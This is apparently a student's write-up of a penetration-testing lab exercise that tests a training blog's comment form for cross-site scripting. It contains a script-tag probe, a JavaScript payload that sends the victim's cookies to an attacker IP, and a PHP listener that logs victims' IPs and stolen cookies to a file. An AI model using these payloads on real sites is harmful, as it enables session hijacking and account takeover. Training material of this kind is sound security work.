We are performing a Web Application Penetration Testing task for a company that hired you, which just released their new Security Blog. In our Web Application Penetration Testing plan, we reached the part where you must test the web application against Cross-Site Scripting vulnerabilities (XSS).
Start the server below, make sure you are connected to the VPN, and access the /assessment directory on the server using the browser:

Initially we couldnt find a related field input that we can exploit using the payload, however when i clicked into the security blog link, it redirected me to this page

The page has a “Leave a Comment” column, which has potentially a xss script vulnerability
we tried using this payload on each field, and listen to the burpsuite
<script src=”http://10.10.14.109/Comment”></script>


Something interesting that we could try to deploy the cookie payload into field
Script.js=
document.location='http://10.10.14.109/index.php?c='+document.cookie;
Add also index.php for the cookie keylogger
<?phpif (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>